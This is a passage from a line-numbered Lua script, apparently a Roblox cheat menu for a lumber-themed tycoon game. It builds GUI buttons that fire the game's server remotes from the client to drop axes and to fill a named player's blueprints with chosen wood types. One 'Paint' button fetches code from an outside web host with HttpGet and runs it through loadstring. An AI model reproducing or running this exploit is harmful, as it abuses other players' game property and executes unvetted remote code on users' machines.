  2875. for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
  2876. if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
  2877. game.ReplicatedStorage.Interaction.ClientInteracted:FireServer(b, "Drop tool", game.Players.LocalPlayer.Character.Head.CFrame)
  2878. Amount = Amount + 1
  2879. end
  2880. end
  2881. SendNotification("Axe Dropped", "Dropped "..Amount.." Axes from your Backpack",5)
  2882. end)
  2883.  
  2884. CountAxes.Name = "CountAxes"
  2885. CountAxes.Parent = CopyFrame
  2886. CountAxes.BackgroundColor3 = Color3.new(0, 0, 0)
  2887. CountAxes.BorderColor3 = Color3.new(0, 0, 0)
  2888. CountAxes.Position = UDim2.new(0, 3, 0, 394)
  2889. CountAxes.Size = UDim2.new(0, 165, 0, 20)
  2890. CountAxes.Font = Enum.Font.Fantasy
  2891. CountAxes.FontSize = Enum.FontSize.Size18
  2892. CountAxes.Text = "Count Axes "
  2893. CountAxes.TextColor3 = Color3.new(255, 0, 0)
  2894. CountAxes.TextSize = 15
  2895. CountAxes.MouseButton1Down:connect(function() --Counts Axes in your Backpack (Equiped Axes dont Count)
  2896. Amount = 0
  2897. for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
  2898. if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
  2899. Amount = Amount + 1
  2900. end
  2901. end
  2902. SendNotification("Axe Amount", "You have "..Amount.." Axes in your Backpack",2)
  2903. end)
  2904.  
  2905. local ArtFrame = Instance.new("Frame")
  2906. local Artmenu = Instance.new("ImageButton")
  2907. local Paint = Instance.new("TextButton")
  2908.  
  2909. Artmenu.Name = "Artmenu"
  2910. Artmenu.Parent = Picker
  2911. Artmenu.BackgroundColor3 = Color3.new(1, 1, 1)
  2912. Artmenu.BorderColor3 = Color3.new(0, 0, 0)
  2913. Artmenu.Position = UDim2.new(0, 15, 0, 345)
  2914. Artmenu.Size = UDim2.new(0, 80, 0, 80)
  2915. Artmenu.ZIndex = 3
  2916. Artmenu.Image = "rbxassetid://3907587419"
  2917. Artmenu.ScaleType = Enum.ScaleType.Crop
  2918. Artmenu.MouseButton1Click:Connect(function()
  2919. CurrentItem.Image = "rbxassetid://3886256996"
  2920. AIntroImage.Visible = false
  2921. AIntroImage1.Visible = false
  2922. end)
  2923.  
  2924. ArtFrame.Name = "ArtFrame"
  2925. ArtFrame.Parent = MenuFrame
  2926. ArtFrame.BorderSizePixel = 1
  2927. ArtFrame.BackgroundTransparency = 0
  2928. ArtFrame.BorderColor3 = Color3.new(0, 0, 0)
  2929. ArtFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  2930. ArtFrame.Size = UDim2.new(0, 170, 0, 230)
  2931. ArtFrame.Visible = false
  2932.  
  2933. Paint.Name = "Paint"
  2934. Paint.Parent = ArtFrame
  2935. Paint.BackgroundColor3 = Color3.new(0, 0, 0)
  2936. Paint.BorderColor3 = Color3.new(0, 0, 0)
  2937. Paint.Position = UDim2.new(0, 3, 0, 3)
  2938. Paint.Size = UDim2.new(0, 165, 0, 20)
  2939. Paint.Font = Enum.Font.Fantasy
  2940. Paint.Text = "Paint"
  2941. Paint.TextColor3 = Color3.new(255, 0, 0)
  2942. Paint.TextSize = 15
  2943. Paint.MouseButton1Down:connect(function()
  2944. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/paintb.txt',true))()
  2945. end)
  2946.  
  2947. local PaintFill = Instance.new("TextButton")
  2948. local PaintFill_1 = Instance.new("TextButton")
  2949. local PaintFillFrame = Instance.new("Frame")
  2950. local PaintNameBox = Instance.new("TextBox")
  2951. local PaintFills = Instance.new("ScrollingFrame")
  2952. local FillFir = Instance.new("TextButton")
  2953. local FillBirch = Instance.new("TextButton")
  2954. local FillCherry = Instance.new("TextButton")
  2955. local FillGeneric = Instance.new("TextButton")
  2956. local FillOak = Instance.new("TextButton")
  2957. local FillPalm = Instance.new("TextButton")
  2958. local FillPine = Instance.new("TextButton")
  2959. local FillWalnut = Instance.new("TextButton")
  2960. local FillKoa = Instance.new("TextButton")
  2961. local FillSign = Instance.new("TextButton")
  2962. local FillVolcano = Instance.new("TextButton")
  2963. local FillGoldSwampy = Instance.new("TextButton")
  2964. local FillGreenSwampy = Instance.new("TextButton")
  2965. local FillSnowGlow = Instance.new("TextButton")
  2966. local FillCaveCrawler = Instance.new("TextButton")
  2967. local FillSpooky = Instance.new("TextButton")
  2968. local FillLoneCave = Instance.new("TextButton")
  2969. local FillSpookyNeon = Instance.new("TextButton")
  2970. local FillFrost = Instance.new("TextButton")
  2971. local FillGenericSpecial = Instance.new("TextButton")
  2972. local FillGrey = Instance.new("TextButton")
  2973.  
  2974. PaintFill.Name = "PaintFill"
  2975. PaintFill.Parent = ArtFrame
  2976. PaintFill.BackgroundColor3 = Color3.new(0, 0, 0)
  2977. PaintFill.BorderColor3 = Color3.new(0, 0, 0)
  2978. PaintFill.Position = UDim2.new(0, 3, 0, 26)
  2979. PaintFill.Size = UDim2.new(0, 165, 0, 20)
  2980. PaintFill.Font = Enum.Font.Fantasy
  2981. PaintFill.FontSize = Enum.FontSize.Size18
  2982. PaintFill.Text = "Paint Fill"
  2983. PaintFill.TextColor3 = Color3.new(255, 0, 0)
  2984. PaintFill.TextSize = 15
  2985. PaintFill.MouseButton1Click:Connect(function()
  2986.  
  2987. end)
  2988.  
  2989. PaintFills.Name = "PaintFill"
  2990. PaintFills.Parent = MenuFrame
  2991. PaintFills.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  2992. PaintFills.BorderColor3 = Color3.new(0, 0, 0)
  2993. PaintFills.Size = UDim2.new(0, 150, 0, 380)
  2994. PaintFills.Position = UDim2.new(0, 3, 0, 3)
  2995. PaintFills.CanvasPosition = Vector2.new(0,0)
  2996. PaintFills.CanvasSize = UDim2.new(0, 0, 0, 495)
  2997. PaintFills.Visible = false
  2998.  
  2999. PaintNameBox.Name = "PaintNameBox"
  3000. PaintNameBox.Parent = PaintFills
  3001. PaintNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
  3002. PaintNameBox.BorderColor3 = Color3.new(0, 0, 0)
  3003. PaintNameBox.Position = UDim2.new(0, 3, 0, 3)
  3004. PaintNameBox.Size = UDim2.new(0, 150, 0, 20)
  3005. PaintNameBox.Font = Enum.Font.Fantasy
  3006. PaintNameBox.FontSize = Enum.FontSize.Size18
  3007. PaintNameBox.Text = "PLAYER NAME"
  3008. PaintNameBox.TextColor3 = Color3.new(255, 0, 0)
  3009. PaintNameBox.TextSize = 15
  3010.  
  3011. FillFir.Name = "FillFir"
  3012. FillFir.Parent = PaintFills
  3013. FillFir.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
  3014. FillFir.BorderColor3 = Color3.new(0, 0, 0)
  3015. FillFir.Position = UDim2.new(0, 3, 0, 26)
  3016. FillFir.Size = UDim2.new(0, 150, 0, 20)
  3017. FillFir.Font = Enum.Font.SourceSans
  3018. FillFir.Text = "Fir"
  3019. FillFir.TextColor3 = Color3.new(0, 0, 0)
  3020. FillFir.TextSize = 14
  3021. FillFir.MouseButton1Down:connect(function()
  3022. local PlayerName = PaintNameBox.Text
  3023. -- Put Whole Name
  3024. local WoodName = "Fir"
  3025. local ItsCFrame
  3026. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3027. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3028. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3029. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3030. if v:FindFirstChild("MainCFrame") then
  3031. ItsCFrame = v.MainCFrame.Value
  3032. else
  3033. ItsCFrame = v.PrimaryPart.CFrame
  3034. end
  3035. if v ~= nil then
  3036. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3037. end
  3038. end
  3039. end
  3040. end
  3041. end)
  3042.  
  3043. FillCherry.Name = "Cherry"
  3044. FillCherry.Parent = PaintFills
  3045. FillCherry.BackgroundColor3 = Color3.fromRGB(136, 62, 62)
  3046. FillCherry.BorderColor3 = Color3.new(0, 0, 0)
  3047. FillCherry.Position = UDim2.new(0, 3, 0, 49)
  3048. FillCherry.Size = UDim2.new(0, 150, 0, 20)
  3049. FillCherry.Font = Enum.Font.SourceSans
  3050. FillCherry.Text = "Cherry"
  3051. FillCherry.TextColor3 = Color3.new(0, 0, 0)
  3052. FillCherry.TextSize = 14
  3053. FillCherry.MouseButton1Down:connect(function()
  3054. local PlayerName = PaintNameBox.Text
  3055. -- Put Whole Name
  3056. local WoodName = "Cherry"
  3057. local ItsCFrame
  3058. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3059. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3060. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3061. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3062. if v:FindFirstChild("MainCFrame") then
  3063. ItsCFrame = v.MainCFrame.Value
  3064. else
  3065. ItsCFrame = v.PrimaryPart.CFrame
  3066. end
  3067. if v ~= nil then
  3068. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3069. end
  3070. end
  3071. end
  3072. end
  3073. end)
  3074.  
  3075. FillGeneric.Name = "Generic"
  3076. FillGeneric.Parent = PaintFills
  3077. FillGeneric.BackgroundColor3 = Color3.fromRGB(204, 142, 105)
  3078. FillGeneric.BorderColor3 = Color3.new(0, 0, 0)
  3079. FillGeneric.Position = UDim2.new(0, 3, 0, 72)
  3080. FillGeneric.Size = UDim2.new(0, 150, 0, 20)
  3081. FillGeneric.Font = Enum.Font.SourceSans
  3082. FillGeneric.Text = "Generic"
  3083. FillGeneric.TextColor3 = Color3.new(0, 0, 0)
  3084. FillGeneric.TextSize = 14
  3085.  
  3086. FillGeneric.MouseButton1Down:connect(function()
  3087. local PlayerName = PaintNameBox.Text
  3088. -- Put Whole Name
  3089. local WoodName = "Generic"
  3090. local ItsCFrame
  3091. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3092. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3093. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3094. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3095. if v:FindFirstChild("MainCFrame") then
  3096. ItsCFrame = v.MainCFrame.Value
  3097. else
  3098. ItsCFrame = v.PrimaryPart.CFrame
  3099. end
  3100. if v ~= nil then
  3101. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3102. end
  3103. end
  3104. end
  3105. end
  3106. end)
  3107.  
  3108. FillOak.Name = "Oak"
  3109. FillOak.Parent = PaintFills
  3110. FillOak.BackgroundColor3 = Color3.fromRGB(243, 207, 155)
  3111. FillOak.BorderColor3 = Color3.new(0, 0, 0)
  3112. FillOak.Position = UDim2.new(0, 3, 0, 95)
  3113. FillOak.Size = UDim2.new(0, 150, 0, 20)
  3114. FillOak.Font = Enum.Font.SourceSans
  3115. FillOak.Text = "Oak"
  3116. FillOak.TextColor3 = Color3.new(0, 0, 0)
  3117. FillOak.TextSize = 14
  3118.  
  3119. FillOak.MouseButton1Down:connect(function()
  3120. local PlayerName = PaintNameBox.Text
  3121. -- Put Whole Name
  3122. local WoodName = "Oak"
  3123. local ItsCFrame
  3124. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3125. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3126. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3127. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3128. if v:FindFirstChild("MainCFrame") then
  3129. ItsCFrame = v.MainCFrame.Value
  3130. else
  3131. ItsCFrame = v.PrimaryPart.CFrame
  3132. end
  3133. if v ~= nil then
  3134. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3135. end
  3136. end
  3137. end
  3138. end
  3139. end)
  3140.  
  3141. FillPalm.Name = "Palm"
  3142. FillPalm.Parent = PaintFills
  3143. FillPalm.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
  3144. FillPalm.BorderColor3 = Color3.new(0, 0, 0)
  3145. FillPalm.Position = UDim2.new(0, 3, 0, 118)
  3146. FillPalm.Size = UDim2.new(0, 150, 0, 20)
  3147. FillPalm.Font = Enum.Font.SourceSans
  3148. FillPalm.Text = "Palm"
  3149. FillPalm.TextColor3 = Color3.new(0, 0, 0)
  3150. FillPalm.TextSize = 14
  3151.  
  3152. FillPalm.MouseButton1Down:connect(function()
  3153. local PlayerName = PaintNameBox.Text
  3154. -- Put Whole Name
  3155. local WoodName = "Palm"
  3156. local ItsCFrame
  3157. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3158. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3159. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3160. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3161. if v:FindFirstChild("MainCFrame") then
  3162. ItsCFrame = v.MainCFrame.Value
  3163. else
  3164. ItsCFrame = v.PrimaryPart.CFrame
  3165. end
  3166. if v ~= nil then
  3167. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3168. end
  3169. end
  3170. end
  3171. end
  3172. end)
  3173.  
  3174. FillPine.Name = "Pine"
  3175. FillPine.Parent = PaintFills
  3176. FillPine.BackgroundColor3 = Color3.fromRGB(211, 190, 150)
  3177. FillPine.BorderColor3 = Color3.new(0, 0, 0)
  3178. FillPine.Position = UDim2.new(0, 3, 0, 141)
  3179. FillPine.Size = UDim2.new(0, 150, 0, 20)
  3180. FillPine.Font = Enum.Font.SourceSans
  3181. FillPine.Text = "Pine"
  3182. FillPine.TextColor3 = Color3.new(0, 0, 0)
  3183. FillPine.TextSize = 14
  3184.  
  3185. FillPine.MouseButton1Down:connect(function()
  3186. local PlayerName = PaintNameBox.Text
  3187. -- Put Whole Name
  3188. local WoodName = "Pine"
  3189. local ItsCFrame
  3190. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3191. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3192. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3193. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3194. if v:FindFirstChild("MainCFrame") then
  3195. ItsCFrame = v.MainCFrame.Value
  3196. else
  3197. ItsCFrame = v.PrimaryPart.CFrame
  3198. end
  3199. if v ~= nil then
  3200. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3201. end
  3202. end
  3203. end
  3204. end
  3205. end)
  3206.  
  3207. FillWalnut.Name = "Walnut"
  3208. FillWalnut.Parent = PaintFills
  3209. FillWalnut.BackgroundColor3 = Color3.fromRGB(106, 57, 9)
  3210. FillWalnut.BorderColor3 = Color3.new(0, 0, 0)
  3211. FillWalnut.Position = UDim2.new(0, 3, 0, 164)
  3212. FillWalnut.Size = UDim2.new(0, 150, 0, 20)
  3213. FillWalnut.Font = Enum.Font.SourceSans
  3214. FillWalnut.Text = "Walnut"
  3215. FillWalnut.TextColor3 = Color3.new(0, 0, 0)
  3216. FillWalnut.TextSize = 14
  3217.  
  3218. FillWalnut.MouseButton1Down:connect(function()
  3219. local PlayerName = PaintNameBox.Text
  3220. -- Put Whole Name
  3221. local WoodName = "Walnut"
  3222. local ItsCFrame
  3223. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3224. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3225. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3226. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3227. if v:FindFirstChild("MainCFrame") then
  3228. ItsCFrame = v.MainCFrame.Value
  3229. else
  3230. ItsCFrame = v.PrimaryPart.CFrame
  3231. end
  3232. if v ~= nil then
  3233. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3234. end
  3235. end
  3236. end
  3237. end
  3238. end)
  3239.  
  3240. FillKoa.Name = "Koa"
  3241. FillKoa.Parent = PaintFills
  3242. FillKoa.BackgroundColor3 = Color3.fromRGB(144, 76, 42)
  3243. FillKoa.BorderColor3 = Color3.new(0, 0, 0)
  3244. FillKoa.Position = UDim2.new(0, 3, 0, 187)
  3245. FillKoa.Size = UDim2.new(0, 150, 0, 20)
  3246. FillKoa.Font = Enum.Font.SourceSans
  3247. FillKoa.Text = "Koa"
  3248. FillKoa.TextColor3 = Color3.new(0, 0, 0)
  3249. FillKoa.TextSize = 14
  3250.  
  3251. FillKoa.MouseButton1Down:connect(function()
  3252. local PlayerName = PaintNameBox.Text
  3253. -- Put Whole Name
  3254. local WoodName = "Koa"
  3255. local ItsCFrame
  3256. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3257. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3258. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3259. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3260. if v:FindFirstChild("MainCFrame") then
  3261. ItsCFrame = v.MainCFrame.Value
  3262. else
  3263. ItsCFrame = v.PrimaryPart.CFrame
  3264. end
  3265. if v ~= nil then
  3266. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3267. end
  3268. end
  3269. end
  3270. end
  3271. end)
  3272.  
  3273. FillVolcano.Name = "Volcano"
  3274. FillVolcano.Parent = PaintFills
  3275. FillVolcano.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  3276. FillVolcano.BorderColor3 = Color3.new(0, 0, 0)
  3277. FillVolcano.Position = UDim2.new(0, 3, 0, 210)
  3278. FillVolcano.Size = UDim2.new(0, 150, 0, 20)
  3279. FillVolcano.Font = Enum.Font.SourceSans
  3280. FillVolcano.Text = "Volcano"
  3281. FillVolcano.TextColor3 = Color3.new(0, 0, 0)
  3282. FillVolcano.TextSize = 14
  3283.  
  3284. FillVolcano.MouseButton1Down:connect(function()
  3285. local PlayerName = PaintNameBox.Text
  3286. -- Put Whole Name
  3287. local WoodName = "Volcano"
  3288. local ItsCFrame
  3289. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3290. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3291. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3292. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3293. if v:FindFirstChild("MainCFrame") then
  3294. ItsCFrame = v.MainCFrame.Value
  3295. else
  3296. ItsCFrame = v.PrimaryPart.CFrame
  3297. end
  3298. if v ~= nil then
  3299. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3300. end
  3301. end
  3302. end
  3303. end
  3304. end)
  3305.  
  3306. FillSign.Name = "Sign"
  3307. FillSign.Parent = PaintFills
  3308. FillSign.BackgroundColor3 = Color3.fromRGB(238, 196, 182)
  3309. FillSign.BorderColor3 = Color3.new(0, 0, 0)
  3310. FillSign.Position = UDim2.new(0, 3, 0, 233)
  3311. FillSign.Size = UDim2.new(0, 150, 0, 20)
  3312. FillSign.Font = Enum.Font.SourceSans
  3313. FillSign.Text = "Sign"
  3314. FillSign.TextColor3 = Color3.new(0, 0, 0)
  3315. FillSign.TextSize = 14
  3316.  
  3317. FillSign.MouseButton1Down:connect(function()
  3318. local PlayerName = PaintNameBox.Text
  3319. -- Put Whole Name
  3320. local WoodName = "Sign"
  3321. local ItsCFrame
  3322. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3323. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3324. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3325. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3326. if v:FindFirstChild("MainCFrame") then
  3327. ItsCFrame = v.MainCFrame.Value
  3328. else
  3329. ItsCFrame = v.PrimaryPart.CFrame
  3330. end
  3331. if v ~= nil then
  3332. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3333. end
  3334. end
  3335. end
  3336. end
  3337. end)
  3338.  
  3339. FillGoldSwampy.Name = "GoldSwampy"
  3340. FillGoldSwampy.Parent = PaintFills
  3341. FillGoldSwampy.BackgroundColor3 = Color3.fromRGB(220, 188, 129)
  3342. FillGoldSwampy.BorderColor3 = Color3.new(0, 0, 0)
  3343. FillGoldSwampy.Position = UDim2.new(0, 3, 0, 256)
  3344. FillGoldSwampy.Size = UDim2.new(0, 150, 0, 20)
  3345. FillGoldSwampy.Font = Enum.Font.SourceSans
  3346. FillGoldSwampy.Text = "Gold"
  3347. FillGoldSwampy.TextColor3 = Color3.new(0, 0, 0)
  3348. FillGoldSwampy.TextSize = 14
  3349.  
  3350. FillGoldSwampy.MouseButton1Down:connect(function()
  3351. local PlayerName = PaintNameBox.Text
  3352. -- Put Whole Name
  3353. local WoodName = "GoldSwampy"
  3354. local ItsCFrame
  3355. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3356. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3357. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3358. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3359. if v:FindFirstChild("MainCFrame") then
  3360. ItsCFrame = v.MainCFrame.Value
  3361. else
  3362. ItsCFrame = v.PrimaryPart.CFrame
  3363. end
  3364. if v ~= nil then
  3365. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3366. end
  3367. end
  3368. end
  3369. end
  3370. end)
  3371.  
  3372. FillGreenSwampy.Name = "GreenSwampy"
  3373. FillGreenSwampy.Parent = PaintFills
  3374. FillGreenSwampy.BackgroundColor3 = Color3.fromRGB(40, 127, 71)
  3375. FillGreenSwampy.BorderColor3 = Color3.new(0, 0, 0)
  3376. FillGreenSwampy.Position = UDim2.new(0, 3, 0, 279)
  3377. FillGreenSwampy.Size = UDim2.new(0, 150, 0, 20)
  3378. FillGreenSwampy.Font = Enum.Font.SourceSans
  3379. FillGreenSwampy.Text = "Green Swamp"
  3380. FillGreenSwampy.TextColor3 = Color3.new(0, 0, 0)
  3381. FillGreenSwampy.TextSize = 14
  3382.  
  3383. FillGreenSwampy.MouseButton1Down:connect(function()
  3384. local PlayerName = PaintNameBox.Text
  3385. -- Put Whole Name
  3386. local WoodName = "GreenSwampy"
  3387. local ItsCFrame
  3388. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3389. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3390. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3391. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3392. if v:FindFirstChild("MainCFrame") then
  3393. ItsCFrame = v.MainCFrame.Value
  3394. else
  3395. ItsCFrame = v.PrimaryPart.CFrame
  3396. end
  3397. if v ~= nil then
  3398. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3399. end
  3400. end
  3401. end
  3402. end
  3403. end)
  3404.  
  3405. FillSnowGlow.Name = "SnowGlow"
  3406. FillSnowGlow.Parent = PaintFills
  3407. FillSnowGlow.BackgroundColor3 = Color3.fromRGB(199, 210, 60)
  3408. FillSnowGlow.BorderColor3 = Color3.new(0, 0, 0)
  3409. FillSnowGlow.Position = UDim2.new(0, 3, 0, 302)
  3410. FillSnowGlow.Size = UDim2.new(0, 150, 0, 20)
  3411. FillSnowGlow.Font = Enum.Font.SourceSans
  3412. FillSnowGlow.Text = "SnowGlow"
  3413. FillSnowGlow.TextColor3 = Color3.new(0, 0, 0)
  3414. FillSnowGlow.TextSize = 14
  3415.  
  3416. FillSnowGlow.MouseButton1Down:connect(function()
  3417. local PlayerName = PaintNameBox.Text
  3418. -- Put Whole Name
  3419. local WoodName = "SnowGlow"
  3420. local ItsCFrame
  3421. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3422. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3423. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3424. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3425. if v:FindFirstChild("MainCFrame") then
  3426. ItsCFrame = v.MainCFrame.Value
  3427. else
  3428. ItsCFrame = v.PrimaryPart.CFrame
  3429. end
  3430. if v ~= nil then
  3431. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3432. end
  3433. end
  3434. end
  3435. end
  3436. end)
  3437.  
  3438. FillCaveCrawler.Name = "CaveCrawler"
  3439. FillCaveCrawler.Parent = PaintFills
  3440. FillCaveCrawler.BackgroundColor3 = Color3.fromRGB(33, 84, 185)
  3441. FillCaveCrawler.BorderColor3 = Color3.new(0, 0, 0)
  3442. FillCaveCrawler.Position = UDim2.new(0, 3, 0, 325)
  3443. FillCaveCrawler.Size = UDim2.new(0, 150, 0, 20)
  3444. FillCaveCrawler.Font = Enum.Font.SourceSans
  3445. FillCaveCrawler.Text = "CaveCrawler"
  3446. FillCaveCrawler.TextColor3 = Color3.new(0, 0, 0)
  3447. FillCaveCrawler.TextSize = 14
  3448.  
  3449. FillCaveCrawler.MouseButton1Down:connect(function()
  3450. local PlayerName = PaintNameBox.Text
  3451. -- Put Whole Name
  3452. local WoodName = "CaveCrawler"
  3453. local ItsCFrame
  3454. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3455. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3456. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3457. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3458. if v:FindFirstChild("MainCFrame") then
  3459. ItsCFrame = v.MainCFrame.Value
  3460. else
  3461. ItsCFrame = v.PrimaryPart.CFrame
  3462. end
  3463. if v ~= nil then
  3464. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3465. end
  3466. end
  3467. end
  3468. end
  3469. end)
  3470.  
  3471. FillSpooky.Name = "Spooky"
  3472. FillSpooky.Parent = PaintFills
  3473. FillSpooky.BackgroundColor3 = Color3.fromRGB(98, 71, 50)
  3474. FillSpooky.BorderColor3 = Color3.new(0, 0, 0)
  3475. FillSpooky.Position = UDim2.new(0, 3, 0, 348)
  3476. FillSpooky.Size = UDim2.new(0, 150, 0, 20)
  3477. FillSpooky.Font = Enum.Font.SourceSans
  3478. FillSpooky.Text = "Spooky"
  3479. FillSpooky.TextColor3 = Color3.new(0, 0, 0)
  3480. FillSpooky.TextSize = 14
  3481.  
  3482. FillSpooky.MouseButton1Down:connect(function()
  3483. local PlayerName = PaintNameBox.Text
  3484. -- Put Whole Name
  3485. local WoodName = "Spooky"
  3486. local ItsCFrame
  3487. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3488. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3489. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3490. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3491. if v:FindFirstChild("MainCFrame") then
  3492. ItsCFrame = v.MainCFrame.Value
  3493. else
  3494. ItsCFrame = v.PrimaryPart.CFrame
  3495. end
  3496. if v ~= nil then
  3497. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3498. end
  3499. end
  3500. end
  3501. end
  3502. end)
  3503.  
  3504. FillLoneCave.Name = "LoneCave"
  3505. FillLoneCave.Parent = PaintFills
  3506. FillLoneCave.BackgroundColor3 = Color3.fromRGB(207, 226, 247)
  3507. FillLoneCave.BorderColor3 = Color3.new(0, 0, 0)
  3508. FillLoneCave.Position = UDim2.new(0, 3, 0, 371)
  3509. FillLoneCave.Size = UDim2.new(0, 150, 0, 20)
  3510. FillLoneCave.Font = Enum.Font.SourceSans
  3511. FillLoneCave.Text = "LoneCave"
  3512. FillLoneCave.TextColor3 = Color3.new(0, 0, 0)
  3513. FillLoneCave.TextSize = 14
  3514.  
  3515. FillLoneCave.MouseButton1Down:connect(function()
  3516. local PlayerName = PaintNameBox.Text
  3517. -- Put Whole Name
  3518. local WoodName = "LoneCave"
  3519. local ItsCFrame
  3520. local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
  3521. for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
  3522. if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
  3523. if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
  3524. if v:FindFirstChild("MainCFrame") then
  3525. ItsCFrame = v.MainCFrame.Value
  3526. else
  3527. ItsCFrame = v.PrimaryPart.CFrame
  3528. end
  3529. if v ~= nil then
  3530. Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
  3531. end
  3532. end
  3533. end
  3534. end
  3535. end)
  3536.  
  3537. FillSpookyNeon.Name = "SpookyNeon"
  3538. FillSpookyNeon.Parent = PaintFills
  3539. FillSpookyNeon.BackgroundColor3 = Color3.fromRGB(255, 176, 0)
  3540. FillSpookyNeon.BorderColor3 = Color3.new(0, 0, 0)
  3541. FillSpookyNeon.Position = UDim2.new(0, 3, 0, 394)
